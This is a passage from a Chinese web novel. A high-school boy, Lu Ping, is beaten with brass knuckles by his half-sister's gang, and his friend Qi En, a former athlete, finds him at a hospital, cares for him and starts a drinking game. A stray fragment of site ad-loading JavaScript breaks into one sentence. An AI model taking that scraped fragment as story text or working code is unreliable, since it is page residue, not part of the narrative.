卢俜颔首,上次她们就放了狠话让他等着,虽然不乏虚张声势的嫌疑。如今看来还很重诺。 “你也别为难我们,今天卢佳在老地方等着,她要亲自来。”女生说,“你自己走还是?” 卢俜说我自己走。老地方就是公交站后面的黑水巷,他跟他们去了,卢佳蹲在巷子里抽烟。 她不高兴,从脸色就能看出来,除此之外,还有伴随着诡异的抽搐,她又沾染了什么东西?之前是烟,然后是酒,现在好像更过了。之前在白天鹅酒店见到卢佳,她似乎没有这么瘦。 卢俜过去,卢佳咬着烟上下打量他。 “有点时间没找你了,滋润了啊。” 卢佳抬他的脸:“看看,气色都变好了。” 卢俜任由她摆弄,没有一丝反抗的意图。 “还是那么老实啊。”卢佳露出满意的笑容,“你和你妈,还真是一个比一个精,一个比一个能忍。我有时侯都挺佩服你,一个人在陌生的城市上学,你不觉得自己特别可怜吗?” 卢俜垂敛着眼说不觉得。 卢佳于是狂笑起来,笑得喘不过气。她其实很漂亮,并不是姿色平庸的女生,可周身都泛滥死气,那是沾染淫靡的人才有的气息。额角上暴凸出盘根错节的青筋,如蜘蛛编踞的密网。 “你上次家长会,没人去吧?”卢佳其实已经是大人了,完全不必和高二的小屁孩较劲,可谁让他是卢俜,谁让他是那个令人生厌的女人的儿子,“我告诉你,你妈其实来榕城了。” “她和我爸一起来的,在榕城陪了我一整个周末呢,其实她是可以去参加你的家长会的。”卢佳故作遗憾地道,“可谁让你妈妈一点儿也不爱你呢?我随便一撒娇,她就说不去了。” 卢佳说完,身边的人都嗤笑。有人大声问这狗日的还是亲妈吗,真是有妈生没妈疼的东西。 卢佳故意去看卢俜的反应,她渴望捕捉到他脸上的失落,哪怕只有一瞬间。卢俜还在读小学的时候确实会难过,也曾流下数不清的眼泪。 但那是懵懂的年岁了。 如今他没那么愚钝。 “真可怜哦。”卢佳摸他的脸,“哭呀,像以前一样。卢俜,你小时候不是最爱哭了吗?” 卢俜以沉默回应着她。 直到卢佳彻底不耐了。 她索性开诚布公。 “我今天不高兴。” 勾勾手,年轻仗义的朋友们围上来。 “我不高兴了,那就做点高兴的事……” 卢佳抬脚,狠狠踹向卢俜,对方却躲开了。 往常不会躲,可今天身上的校服不是他的。 是齐恩的,不可以弄坏。 卢佳也注意到了,卢俜的校服饱经风霜,这件太崭新了,尺码也对不上。“哟———”她凑近瞧着,“这不是你的校服啊,这是谁的?” “这还用问吗?肯定是上次那个女生的呗!” “难怪从来打不还手、骂不还口的人要躲了,原来是怕这件校服脏了,这么宝贝着呢?” 卢佳笑嘻嘻地:“你可以啊,卢俜,小小年纪就谈上了。听媛媛说人家可是大人物呢,国家级别的运动员,长得还一等一的正。可惜脑子不怎么好使,怎么就看上你了?你说是吧?” “……她和我不是那种关系。” 卢俜一边脱外套一边解释。 “嘿,不会是你单方面舔人家吧?”一个红发青年揶揄道,“一个外套都这么宝贵,你可别给人家当沸羊羊都不自知。你在这儿舔人家衣服上的汗水味儿,别的高富帅已经在舔……” 话音未落,卢俜给他一拳。 一时间,全场都陷入诡异的寂静。 卢佳笑了:“卢俜,你可以啊。” 两个男生摁住卢俜的双肩。 卢佳从口袋里掏出指虎戴上。 “你想不想知道指虎打脸上是什么感觉?” 她笑吟吟地问,同时活动着右手手腕。 “砰!”卢俜猛的挨了一下。 半边脸颊被震得麻木了。 鼻腔涌出一股股热流。 卢俜没有了知觉,缓缓地低了头。 鲜红的血珠从视角的中心往下坠。 一颗一颗。 染脏了干净洁白的校服。 在一阵阵的拳打脚踢和谩骂声中。 卢俜护住的不是身体,而是校服。 直到卢佳咳了一声,轻轻抬高手背。 身边的年轻男女们自觉地退到两边。 卢佳把燃尽的烟摁在校服领口,顽劣地问: “哎呀,搞坏了呀,你怎么给人家交差呢?” “这样吧。”卢佳把卢俜脸上的血揉在衣摆上,漫不经心地,“反正她也爱替你出头么,那就让我们去会会她,看她到底有多牛逼。” “哦对了……”卢佳贴耳低语。 “齐恩还不知道你的身世吧?” 卢俜本来半阖着眼,突然,眼睫震颤了两下。 他推开卢佳,缓缓撑臂起身,擦着嘴角的血。 他以平静而打响战役的语气。 “……我不会让你告诉她的。” 29. 真心酒杯 齐恩参加的是地方文旅举办的体育晚宴,规模和规格都挺大,邀请了祖籍榕城的运动员们。因为属于宣传活动,所以邀请范围划得很大,有在役的也有退役的,有省级的也有国级的。 市里许多领导也来了,齐恩远远看过去,就瞧见西装革履的周诠,他旁边的是市长周伟正。 只见无数身处高位的人们都围绕着这两位。 周诠面色冷矜,举手投足间尽显温润高雅。 开幕式有个节目是旱滑,小孩子们穿着轮滑鞋绕圈摆姿势。齐恩看得津津乐道,起身去前面拍两张照片。周诠出现在她身边,他一手端着酒杯,轻轻摇晃着,恣意地询问她在做什么。 齐恩横拿手机,还能干嘛。 “我在玩扣扣飞车行吗?” 周诠像听不懂她的不耐,又笑了笑。 “我之后还攒了个局,你要不要来?” “不———要———”齐恩一边录视频一边道,“刚考完试,我要回家,我要睡大觉。” “刚考完试才应该好好放松呀。”周诠圈子里的人都年少有为,“你认识些人没坏处。” 之前郑飞燕几次想进他的圈子,周诠都委婉地回绝了,眼下他给齐恩机会,希望她别…… “不识抬举。”齐恩说。 “所以不劳您费心了。” 周诠抿唇,最后轻笑一声。 “你还真是什么都不怕。” 哟,这就破防了。齐恩正要反击,却看到台上一个小女孩脚底打滑,直直朝她的方向而来。 “……小心。”周诠下意识把她护住。 “小你妹啊!”齐恩大喊着推开他。这种时候避开算什么好汉,就看着七八岁的小孩直直摔下去吗?齐恩上前几步,利落地抻出双臂,把即将跌下护栏的小丫头稳当地接到自己怀里。 “没事吧?”齐恩蹙眉,“是不是脚崴了?” 都是学花滑的,她比旁人更清楚这种状况。 “是……是……”小姑娘疼出泪花。 齐恩立刻把她抱起:“去医院先!” 周诠见她火急火燎就往外跑,连忙快步跟上。 “做我的车更快一些,就停在外面的车库。” 周诠。他的用处甚至比不上他的车。 齐恩说谢谢,真想和你的车谈一段。 周诠心想她的幽默还真是与生俱来。 明明都急得要命,还能讲点冷笑话。 到了人民医院,先去一楼大厅挂了外科。 小孩在科室里面诊,齐恩坐在听,频频点头,能说上话。周诠对此一窍不通,只能傻站着。 过了十几二十分钟。小女孩的父母也赶来了,看得出有些相关常识,对孩子望闻问切一番。 运动员的身体就像一个容器,里面斟满了水,受一次伤就是洒出一点,叫磨损,总有油尽灯枯的时候。齐恩自己淋过雨,想给他人撑伞。 “真厉害,你经常应对这种事吧。”周诠说。 “其实也很少,大家都能不受伤就不受伤。”齐恩顿了顿,“今天算我欠了你一个人情。” “你是不该客气的时候客气。”周诠转着手里的车钥匙,“这就是小事,力所能及的事。” 关键时候,还挺靠谱。齐恩对周诠这人真是既讨厌又没那么讨厌。进了电梯,齐恩想起来:“对了,你不是还有饭局吗?可别耽误了。” “那有什么,先送你回家。”周诠话锋一转,“还是,我们的前国手愿意赏脸做我女伴?” 齐恩挑了挑眉,真是会挑时机,刚欠了他人情就提这个,偏偏此时此刻,真让人不好拒绝。 齐恩离答应就差一个点头的距离。 也就是这时候,她瞥见一个人影。 他坐在那儿,也是外科科室,前面有人排队。他身上脏兮兮的,脸上也是,有淤青和血渍,却很平静地抱着破旧的黑书包和校服外套。 对校服外套,他显然更重视一些,厚重的卷发垂坠遮住半边脸庞,看不清他的表情,他低头端详校服上的破洞,用指尖摩挲,像在犯难。 他坐在那儿,因为凑近看校服而显得像蜷缩,双腿屈起,脊骨沉重,负担着什么。惨白没有温度的灯光落在身上,像一个幻想出的角色。 齐恩几乎以为自己看错了。 她不可置信地走到他面前。 “卢俜。”她冷声道,“给我把脸抬起来。” 卢俜听到了,肩膀挪了挪,却没有言语。 “我说你把脸抬起来!”齐恩掰高他的下颚,强迫他和她对视。一瞬间,齐恩也看清他脸上骇人的伤痕,大片淤青落在颧骨,遍布侧颊。 齐恩的呼吸一下子凝住了。 她浑身的血液都冷到零下。 “这他妈用什么打的?”她去碰他脸上的伤,只一下,自己都于心不忍地收回手。卢俜得以往后撤了半分,一手捂着脸,让她不要看他。 会吓到她的。这是他最直观的想法。 “你的校服。”卢俜捏住了衣角,“可能洗不干净了,我会买一件新的还给你,对不起。” “什么?”齐恩气笑了。 “你有种再说一遍?” “我会买……” 话音未落,齐恩俯身抓住他的衣领。 “你他妈再给我逼逼一句有的没的?!” “我是不是跟你说了,有事来找我,有事给我打电话?!你被卢佳堵了为什么不告诉我?!如果我没在医院撞见你,你是不是假装什么也没发生过?!你他妈到底有没有把我当……” 齐恩咬牙切齿地诘问。 却又逐渐偃了声息。 周诠过赶来,看到的就是这剑拔弩张的一幕。他下意识去拦住她,却被齐恩一把推开了。 “你这是被……”他打量着满身是伤的卢俜。 卢俜并不想被人看到现在的模样,抬手去遮,怀里的校服突然被抽出,紧接着盖在了脸上。 “……把自己遮严实。” 齐恩的嗓音透过单薄的布料传了进来。 像溺亡水底的人抓住了日光的细束。 卢俜周身陷入黑暗的刹那,世界都寂静下来。残缺灰乱的校服变成一道保护罩,隔绝了四面八方的嘈杂声。医院不再是一个冰冷的地标,避风港不在无论何处,仅存在于齐恩的身边。 不可以依靠他人。 卢俜再三告诫自己。 齐恩隔着校服,轻抚他的背部,拍拍再拍拍,像安慰小动物那样。她又和周诠说了些什么,对方很快就离开了,她在卢俜的身边坐下。 “把你的手给我。” 卢俜不明白她想做什么,手掌也有磨破的血,他不想让她看见,装作没有听见的样子。齐恩重复了第二遍第三遍,在她说第四遍的时候,卢俜才从校服里伸出左手,齐恩一把握住了。 她牵住了他的手。 在校服之外的地带。 在光线清晰的场所。 卢俜慌了神,下意识挣开,齐恩却握得很紧,不动摇,把他擦伤的血肉也用掌心焊住。卢俜迫于无奈说手很脏,齐恩只问他挂的什么号。 卢俜报了号码,还想着挣脱,齐恩说你再动我现在就走。卢俜一下子僵住了,没有再动作。 叫到了号,齐恩扯下他脸上的校服,随意仍在地上。卢俜弯腰要去捡,齐恩把他的手一拽,强迫他跟着她进了诊室。大夫看到他这样也是倒吸了一口冷气,先是把脸上的伤看了,又问身上有没有。卢俜的伤基本再上半身,大夫让他先脱掉短袖,他迟疑地看了眼一旁的齐恩。 “让你脱。”齐恩睨他。 “我难道还没看过吗?” 卢俜脸一红,咬着唇,背对齐恩脱了衣服。 大夫看完了他身上的伤,让他去拍个片子。 拍完片子,大夫拿着X线片看过,说卢俜的脸上可能有轻微的骨裂,身上的伤还好,大多是皮外伤,左肋骨有两处较为严重的淤青,皮下出血量大,大面积的紫红色,目观十分骇人。 “回去先用冰敷,四十八小时后再换热敷。”大夫开药单子,“云南白药,直接用红瓶的,晾几分钟再用白瓶,红花油过两天再抹。” “谢谢大夫。”齐恩带着卢俜去一楼开了药,又问护士有没有冰袋。护士说医院的冰袋卖二十块,不建议花冤枉钱,对面大药房便宜点。 医院对面的药房是齐恩常去的,她基本上只在大药房买补剂。她用医保卡,正好家里维C和叶黄素都吃没了,又给卢俜买了两个冰袋。 “哦对了,前段时间你爱吃的那款褪黑素不是没货了吗?最近又进货了,给你拿两盒?” “不用。”齐恩笑说,“最近睡眠好些了。” “怎么呢?”老板问,“放假了是吧?” “没有,在喝那个祛湿茶,有点效果。” 老板大笑起来:“我早同你讲了饮茶有用饮茶有用!你敢不信,现在知效果有多好了吧?” 齐恩接过药袋子,从里面捡出冰袋和毛巾递给卢俜:“把俊脸敷着,毁容我就不要你了。” 卢俜心想,哪里来的俊脸。 他还是乖乖地接过照做。 他们打车回家。在街口,卢俜要拿过齐恩手里的袋子,齐恩说不用:“你手上不是有伤吗?又要背书包又要敷冰袋的,哪里用得上你?” “……给我。”卢俜执意要提。 “别急,我待会有东西要你提。” 到了聚民社区,齐恩走进711便利店,扫了眼冰柜货架一排啤酒,手随意一指 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“这个。” 卢俜没想到齐恩要买的是酒,拿了一瓶,不料她说:“这个不要,其余每种口味来两瓶。” 卢俜瞠目结舌,齐恩说又不是我一个人喝。 “就算我们两个人喝,也喝不完这么多啊。” 他反应过来,“我什么时候答应和你喝了?” “就在刚才。”齐恩说,“在医院我给你脸,因为那是公开场所,到了聚民这块儿,你可得打听打听我齐恩是谁,把尾巴夹起来做猫。” 卢俜刚要开口,齐恩以略沉的眼神打断。 “我心里不舒服。”她说,“因为你。” “……知道了。” 他没有犹豫地拿酒,直到酒罐子装满了两个最大号的塑料袋。齐恩要结账,他抢着付了钱。 到了齐恩家,不用她说卢俜也知道自己进来。 他俯身换拖鞋,又把鞋在门口摆放好,这也让齐恩略微讶异,不是会做讨人高兴的事儿吗? 齐恩开空调,让卢俜在沙发上休息一下,问他有没有吃饭,卢俜说没有,齐恩说我也没有。 “本来能吃上,但是一个小姑娘意外扭伤了,情况比较急,我和周诠就先把她送医院了。” 卢俜嗯了一声,说自己家里有没吃完的零食。齐恩说吃那玩意不顶用,而且你可是个病号。 “病号也不能喝酒。”卢俜坦言。 齐恩冷冷乜他一眼,他收了声。 “吃什么?我来点外卖,吃清淡点?” 卢俜点头说好,齐恩点了胡椒牛肉煲。 卢俜犹豫:“牛肉是发物,胡椒辛辣。” “那吃砂锅鲜虾粥吧,这个很清淡的。” “虾寒性大,而且不利于伤口愈合。” “莲子猪肚汤?老火靓汤总毛闷台吧。” “莲子,滞涩阻气,也不是很好消化。” “那你到底要吃什么?我的少爷!”齐恩骂,“你们广东人可真难伺候!粤圈太子爷是不是都爱去山卡拉吃走地鸡?然后帮女主啷碗?” 卢俜没话说了,局促地把双手放在膝盖上。 “……我都可以,你点些你爱吃的就好。” “食这个大骨萝卜汤,再一份金包银炒饭。” 卢俜没意见,就是楼下老字号餐馆,二十分钟送上来了。卢俜趁这时间回自己家洗了趟澡,顺带换了长袖长裤,收拾干净才肯下来吃饭。 炒饭配汤,越吃越香。 卢俜下酒,越喝越有。 唯一美中不足的,少年脸上的伤看着很扎眼,齐恩放下碗筷:“下次他们打你,能不能提前说好别打脸?好好一个小猫给我干成这样。” “……”卢俜装听不懂。 “你再给我装死试一试?” “没有下次了。”卢俜咬了一口大骨上的肉,“以后不会了……这种事情不会再发生了。” “为什么?”齐恩抬起头,“你什么打算?” 卢俜不说,目光闪烁几巡,最后只是喝酒。 好吧,齐恩心想现在不是他说真心话的时候,她又开了一罐鸡尾酒,卢俜接过就倒进杯里。 人有心事,借酒消愁。 这不是一句玩笑话。 吃饭时卢俜喝了两三罐,已经算是喝得急了,齐恩让他把外卖盒扔到楼下,他都走不直路。 可卢俜回来的时候,齐恩要唱的戏才刚开始。 她在桌上摆满一次性的塑料杯,足足上百个,每个杯子都斟满了缤纷的鸡尾酒,度数不高,但一杯杯接连灌下去,也不是好糊弄的事儿。 卢俜问:“……哪来的喝法?” “齐恩独创喝法———真心酒杯。” “顾名思义,只有真心话没有大冒险。”齐恩介绍玩法,“互相问问题,必须回答真心话,不可以说谎。没回答出来就要受惩罚喝一杯,回答了就是提问者来喝,总之!就是要喝!” 她比了一个豪饮的夸张手势。 “卢俜,你该不会不敢吧?” 卢俜说没什么不敢,直接开始吧。 两个人在桌前坐下,齐恩问谁先。 “……你先。”卢俜说,按理女士优先。 “还是你先吧,你是新手,我让你三局。” 好狂妄的口气。 卢俜眯了眯眼。 说是问问题,其实要真的问点什么,卢俜说不出口,或者说,许多事他都更习惯藏在心底。 “快点儿啊。”齐恩嗤笑,“别到时候被问趴下了,我可先说好,我是不会嘴下留情的。” 我也不会。半醉的卢俜心想。 心底话就那么脱口而出了。 “你和张其薪……”他顿了顿。 “你们,到底是什么关系?”